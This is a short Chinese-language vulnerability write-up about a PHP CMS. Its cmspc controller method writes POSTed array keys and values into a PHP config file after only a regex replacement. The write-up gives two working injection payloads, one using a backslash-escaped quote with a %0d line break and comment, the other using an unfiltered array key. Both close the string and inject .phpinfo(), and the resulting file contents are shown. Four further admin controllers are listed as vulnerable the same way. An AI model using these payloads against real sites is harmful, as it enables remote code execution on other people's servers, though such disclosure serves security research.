问题出在application/index/controller/index.php的cmspc方法
这里他接受了POST的值。一个数组。带入preg_replace进行正则替换。然后拼接字符串写入到文件中。
比如。我POST一个A=1。拼接结果如下
<?php return ['a'=>'1',];
那么。由于我们键值都可控。而正则没有过滤反斜杠。是否可以转义单引号呢。答案是可以的。结果如下
<?php return ['a'=>'1','\'=>'123',];
但是。这边成了'=>'123'了。多了个单引号咋办呢。这里可以配合0d和单行注释
\=.phpinfo()/*&*/];%0d//=123
结果如下
<?php return ['a'=>'1','\'=>'.phpinfo()/*','*/];
//'=>'123',];
还有一种办法。由于他接受的是POST数组。而preg_replace对数组。只会处理它的值。而不会处理键
那么可以利用键直接单引号闭合
\=.phpinfo(),/*&*/'=''
<?php return ['a'=>'1','\'=>'.phpinfo(),/*','*/''=>'',];
同理。这个CMS还有
application/admin/controller/Baidu.php
application/admin/controller/Config.php
application/admin/controller/Muban.php
application/admin/controller/Point.php